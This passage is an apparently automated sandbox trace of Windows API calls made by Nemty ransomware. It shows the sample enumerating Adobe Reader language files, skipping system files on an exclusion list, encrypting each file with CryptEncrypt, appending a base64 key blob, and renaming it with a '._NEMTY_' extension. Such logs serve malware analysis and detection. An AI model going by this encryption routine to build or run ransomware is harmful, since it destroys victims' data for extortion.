(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.491] Sleep (dwMilliseconds=0x5) [0215.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34155590, dwHighDateTime=0x1d561e8)) [0215.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34155590, dwHighDateTime=0x1d561e8)) [0215.496] GetLastError () returned 0x0 [0215.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.496] GetLastError () returned 0x0 [0215.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.497] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.497] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="0fiJTxGF5j43FMotwcPLUwxqFK0lOnr33H5czZoRTz2XGpZKvRZsykjsRsWzeOtr\r\n0eRRBPDrztEIdWDp7UnLYCs/U5c9CWrobkVpwUnn51Quq71748fo1ltco2KlGeos\r\n5cmM9h4uYIDcZuAQsrAqItEyKbpI8Z71j6jdDm40vmbSzM8wrMQ2esdVEWyIAW6b\r\nJiAM1yMxzcnEVkMdiG1eb6GgEREJ2wMn/48O8kFP+EhDtmqqnsIGjtpnCtg6ESRU\r\niT6UWEDpIz3BHMEI0KPmxQwQVCfBl+++ZLU27y+G6ijQYHYw3WUbYHjhsc2/Q74I\r\n1qJvJM9YsptRHo/AVt//mg==\r\n", pcchString=0x653e5dc) returned 1 [0215.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.497] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.497] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.497] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.501] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.501] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.501] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.501] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.501] CloseHandle (hObject=0x2e8) returned 1 [0215.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.502] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt._nemty_kgobjgd_")) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.502] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_PR.txt", cAlternateFileName="DID39C~1.TXT")) returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2=".") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="..") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="...") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="windows") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="rsa") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="NTDETECT.COM") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="ntldr") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="MSDOS.SYS") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="IO.SYS") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="boot.ini") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="boot.ini") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="ntuser.dat") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="desktop.ini") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="CONFIG.SYS") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="RECYCLER") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="bootmgr") returned 1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="programdata") returned -1 [0215.503] lstrcmpiW (lpString1="DisplayLanguageNames.es_PR.txt", lpString2="appdata") returned 1 [0215.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.504] Sleep (dwMilliseconds=0x5) [0215.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3417b6f0, dwHighDateTime=0x1d561e8)) [0215.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3417b6f0, dwHighDateTime=0x1d561e8)) [0215.512] GetLastError () returned 0x0 [0215.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.512] GetLastError () returned 0x0 [0215.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.512] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.512] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.512] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.512] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="FRe6E/YKXyoGVRkqp5bMTKarvc1+lKclCTKagryBjh5SJ3zofTQB+gQzAHckpji9\r\ndomLuORIIFzna/nW5P4mOlvs62OpUuqeAQlJhFI4dPjrCJnglxwbvfhKK8Br/3CI\r\nvOHiaP2nFJHfOiiBHLX/D6cLn+jO+ucoRTaUoEzjzghcnAAKZlYflN+fl5nOE+oC\r\nJ1Xv2qZgtcPrUOJsnucUAj9Plqy7K+8BYNxtXotmhrozHAR0LbuxRX2iO9jcOTdB\r\nDckMq5ks+exUWCm5JNrwPykaMmzQ3pQoV8nukmqQ8050nxGJvayEmSbi8F65+Pds\r\nMyaQmdaOMh4PcRw/RVrzJg==\r\n", pcchString=0x653e5dc) returned 1 [0215.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.513] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.513] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.513] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.516] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.516] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.517] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.517] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.517] CloseHandle (hObject=0x2e8) returned 1 [0215.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.517] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt._nemty_kgobjgd_")) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.518] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_PY.txt", cAlternateFileName="DI61E0~1.TXT")) returned 1 [0215.518] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2=".") returned 1 [0215.518] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="..") returned 1 [0215.518] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="...") returned 1 [0215.518] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="windows") returned -1 [0215.518] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="rsa") returned -1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="NTDETECT.COM") returned -1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="ntldr") returned -1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="MSDOS.SYS") returned -1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="IO.SYS") returned -1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="boot.ini") returned 1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="boot.ini") returned 1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.519] lstrcmpiW 